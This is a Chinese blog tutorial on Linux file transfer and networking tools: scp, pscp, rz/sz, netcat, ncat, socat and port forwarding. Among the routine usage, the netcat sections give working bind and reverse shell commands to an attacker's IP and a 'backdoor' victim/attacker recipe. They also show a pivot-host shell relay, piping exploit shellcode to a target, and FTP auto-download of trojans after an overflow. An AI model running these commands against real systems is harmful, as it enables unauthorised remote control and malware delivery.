linux 命令：scp (pscp)、rz/sz、nc (netcat)、ncat、socat、ssh、端口转发(rinetd)

擒贼先擒王

已于 2024-03-27 11:50:32 修改

阅读量2.8w

点赞数 17

分类专栏： Shell 文章标签： linux

于 2016-11-22 19:41:47 首次发布

本文链接：https://blog.csdn.net/freeking101/article/details/53289198

版权

Shell 专栏收录该内容

36 篇文章 11 订阅

订阅专栏

1、linux 之间传输文件

不同 Linux 主机之间复制文件。

1、scp、pscp。最常用
2、nc、netcat、socat
2. ftp、sftp、xshel、MobaXterm、Xmanager、FileZilla
MobaXterm：https://mobaxterm.mobatek.net/
Xmanager 是一个工具集合，里面包括了xshell，xftp，xbrowser、xstart、xlpd 等功能，其中最常用的就是 xshell 和 xftp。xshell：https://www.xshell.com/zh/xshell/
SecureCRT：https://www.vandyke.com/products/securecrt/
FileZilla Client ( ftp 客户端)：https://www.filezilla.cn/download/client
3. samba 服务
4. sz / rz

scp

scp 就是 secure copy，是基于 rcp 程序源码进行开发的。scp 用来在两个主机之间复制文件，数据传输使用 ssh1，并且和 ssh1 使用相同的认证方式，提供相同的安全保证。

源主机 和 目标主机 都可以是 本地主机，远程主机格式为 [user@]host:[path]，或者 uri 格式 scp://[user@]host[:port][/path] ，本地文件名可以使用绝对或相对路径名进行显式设置，以避免 scp 将包含 “:” 的文件名视为主机标识符。在两个远程主机之间进行复制时，如果使用URI格式，则只有在使用 -3 选项时才能在目标上指定端口。

用法：scp [-346BCpqrTv] [-c cipher] [-F ssh_config] [-i identity_file] [-J destination] [-l limit] [-o ssh_option] [-P port] [-S program] source ... target

示例：scp 本地用户名@IP地址:文件名1 远程用户名@IP地址:文件名2

拷贝文件夹：scp -r /data/mydir username@ip:filepath

说明：
file: 要拷贝的文件名
username: 远程登录的用户名，
ip：远程服务器ip
filepath：远程文件路径

参数

-3 在两个远程主机之间进行复制，通过本地主机做中转。如果没有这个参数，则直接在两个主机之间复制，不需要第三方中转
-4 使用 IPv4 地址
-6 使用 IPv6 地址
-B 择批处理模式(防止询问密码或密码短语)。
-C 启用压缩。将 -C 标志传递给 ssh(1)以启用压缩。
-c cipher 选择要用于加密数据传输的密码。这个选项直接传递给ssh(1)。
-F ssh_config 为ssh指定另一个用户配置文件。这个选项直接传递给ssh(1)。
-i identity_file 选择从中读取用于公钥身份验证的标识(私钥)的文件。这个选项直接传递给ssh(1)。
-J destination 要连接到目标主机，首先要与目的地所描述的跳转主机建立scp连接，然后从那里建立到最终目的地的TCP转发。
               多个跳转跳转可以用逗号分隔。这是指定ProxyJump配置指令的快捷方式。这个选项直接传递给ssh(1)。
-l limit 限制使用的带宽，单位为Kbit/s。
-o ssh_option
       可用于以ssh_config(5)中使用的格式向ssh传递选项。这对于指定没有单独scp命令行标志的选项非常有用
       请参见ssh_config(5)。
-P port 指定要连接的远程主机端口。
-p 保留原始文件的修改次数、访问次数和模式。
-q 静默模式
-r 递归地复制整个目录。scp 会跟随遍历到的符号链接。
-S program 用于加密连接的程序名称。程序必须理解ssh(1)选项。
-T 禁用严格的文件名检查. 默认启用
-v 显示详细模式

示例：

把另一台服务器上的文件 /home/ftp/pub/file1 直接传到本机器的当前目录下

：scp servername:/home/ftp/pub/file1 .

把本机上的文件 /tmp/file2 送到另一台机器的 /boot 目录下。

：scp /tmp/file2 servername:/boot

把文件复制到远程192.168.0.8服务器上，然后会提示输入密码。

：scp /home/a.txt root@192.168.0.8:/home/root

把远程主机 copy 到当前主机的当前目录下:

：scp root@192.168.0.8:/home/b.txt .

复制文件夹

：scp -r root@192.168.0.8:/home/ /root/home2

pscp

Windows 和 Linux 相互复制： ftp、sftp、pscp

PuTTY ：https://www.chiark.greenend.org.uk/~sgtatham/putty/

PSCP 是 PuTTY 提供的文件传输工具，通过 SSH 连接，在两台机器之间安全的传输文件，可以用于任何SSH（包括SSHv1、SSHv2）服务器。下载 pscp，并将其放入 windows 的 system32 文件夹下，这样在 dos 命令窗口中就能直接调用使用了。如果 system32 下没有，则只能 cmd 进入 pscp 所在文件夹，然后在 pscp 所在文件夹进行操作。

Windows ---> Linux

开始 ---> 运行 ---> cmd 进入到dos模式。
执行命令：pscp f:\new.txt admin@10.10.10.10:/home

pscp admin@10.10.10.10:/home/new.txt f:\new_copy.txt

psftp

psftp 是 putty 的组成部分，可以用于本地文件和远程文件的传输控制

1. 建立远程连接
psftp
open hostname
openusername@hostname

2. 操作远程服务器
   pwd : 查看当前所在目录
   cd +路径：进入某个目录
   ls ：列出当前目录下的文件
   dir：列出当前目录下的文件
   rm +文件名：删除文件
   del+文件名：删除文件
   put+本地文件：上传本地文件到远程服务器
   get+远程文件：下载远程文件到本地机器

3. 操作本地文件
   lpwd:查看本地机器当前所在目录
   lcd+路径：更改本地机器的当前目录
    !dir:列出本地机器当前目录的文件(感叹号!表示执行本地命令)

4. 关闭连接
   close:关闭连接，不退出psftp
   quit:关闭连接而且退出psftp
   exit:关闭连接而且退出psftp

rz、sz

xshell 有 xftp 可以实现图形化的相互传递文件。

SecureCRT 可以在服务器安装 rz 和 sz 来实现相互传递文件， rz 和 sz 命令允许开发者与主机通过串口进行传递文件了。

sz：将选定的文件发送（send）到本地机器
rz：运行该命令会弹出一个文件选择窗口，从本地选择文件上传到 Linux 服务器

安装命令： yum install lrzsz

从服务端发送文件到客户端： sz filename
从客户端上传文件到服务端： rz 。在弹出的框中选择文件，上传文件的用户和组是当前登录的用户

2、nc (netcat)、ncat、socat

ncat man 手册：https://www.man7.org/linux/man-pages/man1/ncat.1.html
NC工具的使用说明教程：https://blog.csdn.net/xysoul/article/details/52270149
window 版本 nc 下载：https://eternallybored.org/misc/netcat/

linux 下执行命令：readlink -f $(which nc) 结果会有两种：

/bin/nc.openbsd 是系统自带GNU基础版本nc，是基于传统nc重写，主要用于简单的 TCP 和 UDP 连接 (发送和接收数据)。标准的 nc 命令没有 -e 或 -c 参数来执行命令。
/bin/nc.traditional 是传统经典版本的nc，传统版本nc和变种版本的 nc ( ncat、netcat ) 都支持 -e 、-c 参数。

Ubuntu上默认安装的是 netcat-openbsd (没有-e和-c)，而不是经典的 netcat-traditional，因此要想使用 netcat-traditional 则需要自己进行安装与配置：

sudo apt-get -y install netcat-traditional
sudo update-alternatives --config nc
选择对应编号，回车即可

apt-get install nc-traditional
apt-get install nc-openbsd
不管是 gnu 版本还是 openbsd 版本，都有新老的区别，主要是传送文件时 stdin 发生 EOF 了，老版本会自动断开，而新的 gnu/openbsd 还会一直连着。

nc (netcat)、ncat 简介

NC 全名 Netcat (网络刀，nc --- TCP/IP swiss army knife)，作者是 Hobbit && ChrisWysopal。因其功能十分强大，体积小巧而出名，被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。可以直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。

在中国nc的 windows版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由 "红与黑" 编译后的新浓缩版。浓缩版的主程序只有10多KB，虽然 "体积" 小，但很完成很多工作。

关于 nc、ncat、socat 说明：

nc ：常用于溢出、反向链接、上传文本等。其实是一个非标准的 telnet 客户端程序。也是一个 putty.exe 客户端程序。
ncat ：是现代版的 netcat，是 nmap 项目的组成部分。
socat ：socat 是一个 nc 的替代品，可以称为 nc++。是 netcat 的 N 倍加强版。socat 支持的连接方式很多，有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

netcat 瑞士军刀实现电脑远程控制 termux

termux 安装 namp ( 或者安装 busybox )：pkg install namp

如何建立连接
termux： nc -lp 333 -c bash
windows：nc -nv 1.1.1.1 333
或者反向
windows：nc -lp 333
termux： nc -nv 1.1.1.1 333 -c bash
到此，连接已建立，试试在 windows 命令行下输入ifconfig

nc (netcat)、ncat 参数

netcat 最初的用途就是文件传输，它可以像 cat 命令一样将读取的文件重定向到网络上的另外的文件。Netcat 在网络应用中既可以当做服务器端，开启本机一个监听端口，也可以作为客户端向其他服务器端口发起连接。所以，文件传输，即是在两端分别运行 netcat。

主动发起连接 的使用方法：nc [-options] hostname port[s] [ports] ...
监听进入的连接 的使用方法：nc -l -p port [-options] [hostname] [port]

linux 环境 nc 参数

type nc、nc -h

options:
-c shell commands 同 -e 参数，连接成功后使用 /bin/sh 执行 shell 命令。[危险！！]
-e filename 连接成功后要执行的程序或者命令 [危险！！]
-b 允许广播
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助
-i secs 为 "传送信息、扫描端口" 设置时间间隔。
-k 设置 socket 的 keepalive 选项
-l 监听模式，监听进入的连接。
-n 指定数字的IP地址，不能用 hostname
-o file 把往来传输的数据以16进制形式保存到文件。
-p port 设置本地端口号
-r 随机本地和远程端口
-q secs 在标准输入 EOF 后，延迟多少秒后并退出
-s addr 设置本地 IP 地址
-T tos 设置服务类型
-t 用 telnet 来回应
-u UDP 模式
-v 或者 -vv 显示详细
-w secs 设置网络连接超时时间
-C 发送 CRLF 作为行尾
-z 零 I/O 模式 [用于扫描]，就是将输入输出关掉。
端口号可以是单个端口或者是范围。例如 80，1-100
连字符出现在端口名称中，必须用反斜杠转义（例如 "ftp\-data"）

windows 环境 nc 参数

windows下nc 和 linux下nc 参数不太一样

options:
-d 从 console 分离，即后台模式。

-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时设置，端口扫描时使用
-l 监听模式，用于入站连接
-L 连接关闭后，仍然继续监听
-n 使用数字形式的IP地址，而不是使用 hostname
-o file 流量以16进制的形式保存到文件
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 用 telnet 来回应
-c 发送 CRLF 代替 LF
-u UDP 模式
-v 详细输出， -vv 可得到更详细的内容
-w secs 连接和网络读取的超时时间
-z 将输入输出关掉。用于扫描
端口号可以是单个端口或者是范围 m-n。例如 80，1-100

nc 基本用法

nc -nvv 192.168.x.x 80 // 连到 192.168.x.x 的 TCP 80 端口
nc -l -p 80 // 监听本机的TCP80端口
nc -nvv -w2 -z 192.168.x.x 80-445 // 扫描192.168.x.x 的 TCP 80 到 TCP 445 的所有端口

nc -l -p 9999 -e cmd.exe
nc 192.168.1.5 9999

或者

nc -l -p 9999 -t
nc -t -e cmd.exe 192.168.1.5

绑定 shell

命令：nc -l -p 5354 -t -e c:\windows\system32\cmd.exe

命令解释：本地监听 5354 端口，当有连接进入时，将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应到连接者。连接者就可以进入被连接者的 cmd。（反弹 shell 原理）

绑定 shell 并反向连接

命令：nc -t -e c:\windows\system32\cmd.exe 192.168.x.x 5354

命令解释：连接到远程服务器的 5354 端口，连接成功后将 -e c:\windows\system32\cmd.exe 响应给远程服务器。这样远程服务器就进入连接者的 cmd

NC 的用法还有很多，当配合管道命令 | 与重定向命令 < > 等等命令功能更强大。

nc 高级用法

作攻击程序用，例子：

格式 1：type.exe c:exploit.txt | nc -nvv 192.168.x.x 80
格式 2：nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解：连接到192.168.x.x的80端口，并在其管道中发送 c:exploit.txt 的内容。

两种格式效果一样。c:exploit.txt 为 shellcode 等

作蜜罐用 [1]，例子：

格式：nc -L -p 80
讲解：使用 -L( 注意 L 是大写 ) 可以不停地监听某一个端口，直到 ctrl+c 为止。

作蜜罐用 [2]，例子：

格式：nc -L -p 80 > c:\log.txt
讲解：使用 -L 可以不停地监听某一个端口，直到 ctrl+c为止，同时把结果输出到 c:log.txt中，如果把 > 改为 >> 即可以追加日志。c:\log.txt 为日志等

作蜜罐用 [3]，例子：

格式1：nc -L -p 80 < c:\honeypot.txt
格式2：type.exe c:honeypot.txt|nc -L -p 80
讲解：使用 -L 可以不停地监听某一个端口，直到 ctrl+c为止，同时把 c:honeypot.txt 的内容送入其管道中。

记录 log

nc -l -p 80 >>c:\日志.log //凡是有针对本机80端口的攻击都会被记录下来的

端口扫描

// 注意：nc 扫描会留下大量的痕迹。

格式：nc -vv -z ip port-port port // 示例：nc -v -w 2 www.baidu.com -z 100-105 80

nc -vv 127.0.0.1 10-100 或者 nc -vv -z 127.0.0.1 10-100

nc -v -z 192.168.0.25 1-100 // 端口扫描，扫描 tcp 端口 1-100
nc -v -z -u 192.168.0.25 1-100 // 端口扫描，扫描 udp 端口 1-100
nc -vv 192.168.0.25 80 // 端口扫描，扫描 tcp 端口 80

nc -v -z www.baidu.com 70-80 # 扫描端口(70到80)
nc -v -z -w 2 192.168.2.34 21-24
nc -v -z -w2 127.0.0.1 1-100 # -w2 设置超时时间
nc -l -p 1234 # 监听本地端口
netstat -a | grep 1234
netstat -tunlp
nc -vuz 172.16.211.34 68
nc -p 1234 -w 5 www.test.com 80 // 建立从本地1234端口到 www.test.com 的80端口连接，5秒超时
nc -u host.example.com 53 // u 为 UDP 连接

有名管道 (named Pipe)

匿名管道：是只能在具有共同祖先（具有亲缘关系）的进程间通信。
命名管道(FIFO)：可以在不相关的进程之间通信。有名管道是双向管道，涉及创建、打开、读取和写入。使用 mkfifo 命令创建命名管道，-m设置命名管道的权限，其格式和 chmod 一样。
mkfifo -m 0644 mypipe 创建一个名为 mypipe 的有名管道，并将其权限设置为 0644
使用 -Z 时可以设置有名管道的 SELinux 上下文。
//创建有名管道 mypipe ，并设置SELinux上下文 system_u:object_r:myfifo_user_home_t:s0
示例：mkfifo -Z system_u:object_r:myfifo_user_home_t:s0 mypipe

将 nc 作为代理来收发数据

10 个例子教你学会 ncat (nc) 命令：https://linux.cn/article-9190-1.html

nc 也可以用来做代理。示例：ncat -l 8080 | ncat 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。不过由于使用了管道符，数据只能被单向传输。要同时能够接受返回的数据，需要创建一个双向管道：

创建有名管道：mkfifo 2way

执行转发：ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

0是标准输入，1是标准输出，2是标准错误。现在，就可以通过 nc 代理来收发数据了。

nc 作为简单的 http 代理服务器

# nc www.baidu.com 80 // 作为浏览器，模拟请求
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe

第一、代理1：在同一台机器上
1、创建 "有名管道"，这里命名为 my_fifo_test，执行命令：mkfifo my_fifo_test
2、启动代理，执行命令：nc -l -p 6000 < fifo | nc -l -p 7000 > fifo
第二、代理2：不在同一台机器上
1、创建 "有名管道"，这里命名为 my_fifo_test，执行命令：mkfifo my_fifo_test
2、启动代理，执行命令：nc -l -p 6000 < fifo | nc 192.168.0.4 7000 > fifo

nc 结合 ssh

mkfifo pipe
nc -l -p 8080 < pipe | ssh gw_to_private_net -p 22977 "nc 192.168.12.230 80" | tee pipe

通过 SSH 和 nc 命令从一个系统发送数据到另一个系统，同时将输出管道到一个文件（这里名为 pipe）

使用 nc -l -p 8080 监听在本地系统（本地端口为 8080）的连接。
将这个连接通过管道（pipe）发送到 ssh gw_to_private_net -p 22977，连接到指定的远程系统（这里为 ssh gw_to_private_net）。
在远程系统上运行 nc 命令，该命令可能类似 "nc 192.168.12.230 80"，打开本地系统的80端口进行服务监听或接收请求。
最后，你通过管道将本地系统接收到的内容重新写入到管道文件 pipe 中。

nc 和管道符 |

管道符 ( | ) ：数据只能被单向传输。示例：nc -lk 8848 | nc 10.0.0.1 8848

解释：监听本机8848端口，并将从8848 端口收到的流量，通过 nc 10.0.0.1 8848 转发到另一台机器 10.0.0.2 上的 8848 端口。

nc -lk 8848 会在你的机器上的8848端口启动 nc，并且监听（-l）该端口。-k 选项表示即使一个连接被关闭后，也会继续监听新的连接。
| 管道符号会将第一个 nc 命令的输出（即从本机8848端口收到的数据）传递给第二个 nc 命令。
nc 10.0.0.1 8848 将接收到的数据转发到10.0.0.1上的8848端口。

nc 实现反向流量转发

从一个远程服务器转发数据回到本地服务器，可以通过创建反向连接来达成。这常常用于规避防火墙或NAT设备，可以从内网主机上连接到外部服务器，然后将外界连接的流量通过这个已经建立的连接转发回内网主机。假设有两台机器：一台在公网上，IP地址为server_ip，另一台位于内网中，IP地址为local_ip。内网机器可以访问公网机器，但外部无法直接访问内网机器。实现反向流量转发的步骤：

公网服务器上监听端口： nc -l -p 1234 -vv //-l监听模式，-p指定监听端口，-vv开启详细模式以输出更多信息。
从内网机器上连接到公网服务器，并转发端口流量： nc -c "nc -l -p 8500" server_ip 1234 如果nc版本不支持-c选项，则可以这样执行： nc server_ip 1234 | nc -l -p 8500 命令建立了一个连接到公网服务器的反向通道，然后通过管道转发这个连接到本地的8500端口。-l -p 8500 本地监听端口8500。当有流量发送到公网服务器的1234端口时，这个数据会被 Netcat接收，并通过建立的反向连接，将数据转发到内网机器的8500端口上。这可以实现类似于SSH反向隧道的效果。

端口转发 (PortForwarding)

本地8001转发到本地8000：nc -v -lk -p 8001 -e /usr/bin/nc 127.0.0.1 8000

本地8888端口，转发到本地22端口：nc -lp 8888 -c "nc 127.0.0.1 22"

本地7777端口，转发到192.168.5.5的22端口：nc -lp 7777 -c "nc 192.168.5.5 22"

中转实现反弹shell

解释说明：

在 kali rolling上操作：nc -lvp 23333。这里监听自己的 23333 端口就好了
在 ubuntu16上操作：nc -lvp 23333 -e /bin/sh，这里就是将ubuntu16的shell通过23333端口弹出去，不管谁访问 ubuntu16的23333端口，都将获得shell
在 ubuntu18 上操作：nc -v 192.168.160.136 23333 -c "nc -v 192.168.160.140 23333" 。这里首先获得ubuntu16的shell，然后将shell重定向到kali rolling上去，这个时候，在 kali rolling上就拿到了ubuntu16 的shell了

socat 使用示例：socat TCP-LISTEN:8080,fork TCP:192.168.1.100:9000

端口转发实验

macOS   192.168.10.100   攻击机
kali   192.168.19.147   跳板机
Ubuntu   192.168.19.153   目标机

ps: nc 每次请求连接建立后都会关闭，即单次连接。每次连接过后，都需要重新执行一次nc转发命令。解决方法在后面。且 nc 命令在第一个远程连接结束后会结束监听。如果需要保持运行，需要添加-k参数。

场景1：正向转发 1

macOS 能访问 kali，但是不能访问 Ubuntu。kali 能访问 Ubuntu 任意端口。

目标：macOS 想访问到 Ubuntu 的22端口。

思路：用 kali 做跳板机，把访问 kali 8888 端口的数据转发到 Ubuntu 的 22 端口

方法：在 kali上执行一条 nc 转发命令即可

nc -l -p 8888 -c "nc 192.168.19.153 22"
# 或者使用管道符
mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe
# 或者
mknod /tmp/pipe p && nc -l -p 8888 < /tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe

场景1：正向转发 2

macOS 能访问 kali，但是不能访问 Ubuntu。Ubuntu 防火墙有过滤，kali 不能访问 Ubuntu的22端口，但是可以访问其他端口如 9999。
目标：macOS 想访问到 Ubuntu 的 22 端口。
思路：
目标机器Ubuntu上用nc把22端口转发到9999端口
kali上监听8888端口，并使用nc把访问kali 8888端口的数据转发到Ubuntu的9999端口
macOS通过访问kali的8888端口，即可正向连接到ubuntu的22端口。

操作：
目标Ubuntu：
nc -l -p 9999 -c "nc 127.0.0.1 22"
#如果没有-c参数
mkfifo /tmp/pipe && nc -l -p 9999 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe
# or
mkfifo /tmp/pipe && nc -k -l 9999 0</tmp/pipe | nc localhost 22 | tee /tmp/pipe

跳板机kali：
nc -l -p 8888 -c "nc 192.168.19.153 9999"
#或者使用管道符
mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 9999 >/tmp/pipe
#or
mknod /tmp/pipe p && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 9999 >/tmp/pipe
攻击机：macOS：
ssh -p 8888 username@192.168.19.147

nc、ncat、netcat 端口转发

while :; do (nc -l -p 8888 -c "nc 192.168.19.153 22"); done
while [ 1 ]; do nc -l -p 8888 -c "nc 192.168.19.153 22"; done
while [ 1 ]; do mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe; done

socat

本地转发：socat tcp-l:8888,reuseaddr,fork tcp:localhost:22
远程转发：socat tcp-l:8888,fork,reuseaddr tcp:192.168.19.153:22

ncat

https://nmap.org/ncat/
当客户端与服务器断开连接时，服务器也会停止监听，可以通过选项’k’强制服务器保持连接状态并继续侦听端口：
所有连接到80端口，都会转发到8080端口：ncat -u -l 80 -c 'ncat -u -l 8080'
ncat -l -k localhost 8080 --sh-exec "ncat example.org 80"

netcat

http://netcat.sourceforge.net/download.php
netcat -l -p 1234 -e /bin/bash
# 把访问某个端口的数据转发到本地或远程端口
netcat -L 127.0.0.1:22 -p 8080 -vvv
netcat -L 192.168.10.1:80 -p 25000 -vvv

后门

受害者的机器执行命令：
nc -l -p port -e cmd.exe // win2000
nc -l -p port -e /bin/sh // unix,linux
攻击者的机器执行命令：
nc ip -p port // 连接受害者机器IP，然后得到一个shell。

正向连接

【远程运行】nc -l -p 2012 -t -e cmd.exe
【本地运行】nc -nvv 192.168.1.101 2012

远程主机（注：假设IP地址为 192.168.1.101）上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到 2012 端口，当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ；
在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机（注：假设IP地址为 192.168.1.101）。

反向连接

【本地运行】nc -l -p 2012
【远程运行】nc -t -e cmd.exe 192.168.1.102 2012

先在本地主机运行 nc -l -p 2012 开启本地主机的（注：假设IP地址为 192.168.1.102）2012 端口并监听等待远程主机连接；
再在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为 2012 的主机上，连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

什么叫反弹端口？
就是说，当对方中马后，不用你主动和对方连接，也就是说不用从你的client端向对方主机上运行的server端发送请求连接，
而是对方主动来连接你这样就可以使很多防火墙失效，因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后，于那两款木马可以说有异曲同工之效。

本地运行：nc -l -p 5277 （监听本地5277端口）或者 nc -l -v -p 5277
然后在远程机器上，想办法运行 nc -e cmd.exe ip 5277
（你可别真的打“ip”在肉鸡上啊）要打，xxx.xxx.xxx.xxx这样！！
这样就是反弹~~在本地机器上得到了一个SHELL

示例：

attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者：
attacker machine:
nc -vv -l -p port1
nc -vv -l -p prot2
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s（nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP），这样就可以保证 nc.exe 优先于NETBIOS。

端口数据抓包

就是使用 -o 参数，把数据以 16进制的形式写到文件里面

示例：nc -vv -w 2 -o ./packet.txt www.baidu.com 80 21-15

远程拷贝文件

从 server1 拷贝文件到 server2 上

在 server1 用 nc 监听：nc -lp 1234 > test_file.txt

然后在 server2 运行：nc -w 1 192.168.5.5 1234 < test_file.txt

传输文件时显示进度条

在发送端 (文件来源端)，命令：pv file_to_transfer | ncat -l -p 1234
在接收端 (文件接收端)，命令：ncat sending_host 1234 | pv -b > received_file

-p 来显示进度条，
-r 来显示数据传输速率，
-e 来显示预计完成时间等等。

例如，要显示进度条和数据传输速率：pv -p -r file_to_transfer | ncat -l -p 1234

pv -h
用法: pv [OPTION] [FILE]...
将文件或标准输入连接到标准输出，并进行监视。

-p, --progress 显示进度条
-t, --timer 显示运行时间
-e, --eta 显示预计到达(完工)时间
-I, --fineta 显示绝对预计到达时间
-r, --rate 显示数据传输速率
-a, --average-rate 显示数据传输平均速率计数器
-b, --bytes 显示传输的字节数
-T, --buffer-percent 显示正在使用的传输缓冲区的百分比
-A, --last-written NUM 显示最后写入的NUM字节
-F, --format FORMAT 通过 FORMAT 设置输出格式
-n, --numeric 输出百分比，而不是视觉信息
-q, --quiet 不输出任何传输信息。安静模式

-W, --wait 在传输第一个字节之前不显示任何内容
-D, --delay-start SEC 直到几秒后才显示任何内容
-s, --size SIZE 将估计数据大小设置为size字节
-l, --line-mode 计算行数而不是字节数
-0, --null 行以空结束
-i, --interval SEC 间隔多少秒更新一次显示
-w, --width WIDTH assume terminal is WIDTH characters wide
-H, --height HEIGHT assume terminal is HEIGHT rows high
-N, --name NAME prefix visual information with NAME
-f, --force output even if standard error is not a terminal
-c, --cursor use cursor positioning escape sequences

-L, --rate-limit RATE limit transfer to RATE bytes per second
-B, --buffer-size BYTES use a buffer size of BYTES
-C, --no-splice never use splice(), always use read/write
-E, --skip-errors skip read errors in input
-S, --stop-at-size stop after --size bytes have been transferred
-R, --remote PID update settings of process PID

-P, --pidfile FILE save process ID in FILE

-d, --watchfd PID[:FD] watch file FD opened by process PID

-h, --help 帮助
-V, --version 版本

ftp 自动下载

【本地运行】nc -L -p 8989 < C:\ftp.txt （ ftp.txt 中为FTP自动下载命令）
不停地监听 8989 端口，并把 C:\ftp.txt 中的内容发给任何一台连接本机 8989 端口的主机，可起到传送文件作用（此用法经常用于反向溢出）。远程主机一旦溢出就会连接本地主机 8989 端口，远程主机就会自动用 FTP 下载指定的文件，如木马。

远程拷贝目录

从 server1 拷贝 nginx-0.6.34目录内容到 server2 上。

在server2上用nc激活监听，server2上运行：nc -l 1234 | tar xzvf -
在server1上运行：tar -zcvf - nginx-0.6.34 | nc 192.168.228.222 1234

克隆硬盘或分区

操作与上面的拷贝是雷同的，只需要由dd获得硬盘或分区的数据，然后传输即可。克隆硬盘或分区的操作，不应在已经 mount 的的系统上进行。所以，需要使用安装光盘引导后，进入拯救模式（或使用Knoppix工具光盘）启动系统后，

server2上进行类似的监听动作：
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输，即可完成从server1克隆sda硬盘到server2的任务：
# dd if=/dev/sda | nc 192.168.228.222 1234

简单聊天工具

在192.168.2.34上： nc -l 1234
在192.168.2.33上： nc 192.168.2.34 1234
这样，双方就可以相互交流了。使用ctrl+C(或D）退出。

nc -l 1234
nc 127.0.0.1 1234
在端口1234建立连接，互相发送输入

但是这样只能点对点双方交流，不能进行多方交流，且建立连接之后任意一方断开连接，则双方都会终止。在 ncat 中新增了订阅者模式，可以由一个 server 提供服务，多个 client 之间相互交流，这样就够搭建一个完整的即时通讯聊天室。
启动 server：ncat -l 8888 --broker 然后使用多个 client 连接即可。

保存 Web 页面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

模拟 HTTP 请求

nc www.baidu.com 80 // 作为浏览器，模拟请求
nc -l -v -p 80 // 浏览器中输入本机IP：127.0.0.1

用 nc 命令操作 memcached

1）存储数据：printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2）获取数据：printf "get keyrn" |nc 192.168.2.34 11211
3）删除数据：printf "delete keyrn" |nc 192.168.2.34 11211
4）查看状态：printf "statsrn" |nc 192.168.2.34 11211
5）模拟top命令查看状态：watch "echo stats" |nc 192.168.2.34 11211
6）清空缓存：printf "flush_allrn" |nc 192.168.2.34 11211 (小心操作，清空了缓存就没了）

Netcat 其他常用的功能

支持完全的DNS转发、逆向检查
支持用户指定源端口
支持用户指定源端IP地址
内置宽松源路由能力（loosesource-routing capability）
慢速发送模式，可指定每隔多少秒发送一行文本
将发送或接收数据以16进制格式导出

3、ncat 命令

ncat 介绍

用户手册：https://nmap.org/ncat/guide/index.html
ncat 参考手册：https://nmap.org/book/ncat-man.html

3.1 ncat 的参数

ncat 是 nmap 项目对传统的 Netcat（即 nc 命令）的重写，是包含在 nmap 安装包里的。安装完 nmap 后，就可以找到 ncat。

ncat --help

Ncat 7.94 ( https://nmap.org/ncat )
用法：ncat [options] [hostname] [port]

时间选项默认是秒。ms表示毫秒，s表示秒，m表示分钟，h表示小时

-4 仅使用 IPv4
-6 仅使用 IPv6
-U, --unixsock 仅使用 Unix 域套接字
--vsock 仅使用 vsock 套接字
-C, --crlf 对 EOL 序列使用 CRLF
-c, --sh-exec <command> 通过 /bin/sh 执行提供的命令
-e, --exec <command> 执行提供的命令
--lua-exec <filename> 执行给定的 Lua 脚本
-g hop1[,hop2,...] 松散源路由跳点（最多 8 个）
-G <n> 松散源路由跳点指针 (4, 8, 12, ...)
-m, --max-conns <n> 最大 <n> 个同时连接数
-h, --help 显示屏幕
-d, --delay <时间> 读/写等待时间
-o, --output <filename> 转储会话数据到文件
-x, --hex-dump <filename> 会话数据以16进制形式转储到文件
-i, --idle-timeout <time> 空闲读/写超时
-p, --source-port port 指定要使用的源端口
-s, --source addr 指定要使用的源地址（不影响-l）
-l, --listen 绑定并监听传入的连接
-k, --keep-open 强制 nc 一直保持连接并继续监听端口。当客户端从服务端断开连接后，过一段时间服务端也会停止监听。通过 -k 可以强制服务器保持连接并继续监听端口。
-n, --nodns 不通过 DNS 解析主机名
-t, --telnet 通过 Telnet 回答协商
-u, --udp 使用 UDP 而不是默认的 TCP
--sctp 使用 SCTP 代替默认 TCP
-v, --verbose 设置详细程度（可多次使用）
-w, --wait <时间> 连接超时
-z 零 I/O 模式，仅报告连接状态
--append-output 追加到输出文件
--send-only 只发送数据，忽略接收；在 EOF 上退出
--recv-only 只接收数据，不发送任何东西
--no-shutdown 在标准输入上接收 EOF 时继续半双工
--allow 只允许给定的主机连接到 Ncat
--allowfile 允许连接到 Ncat 的主机文件
--deny 拒绝给定主机连接到 Ncat
--denyfile 拒绝连接到 Ncat 的主机文件
--broker 启用 Ncat 的连接代理模式
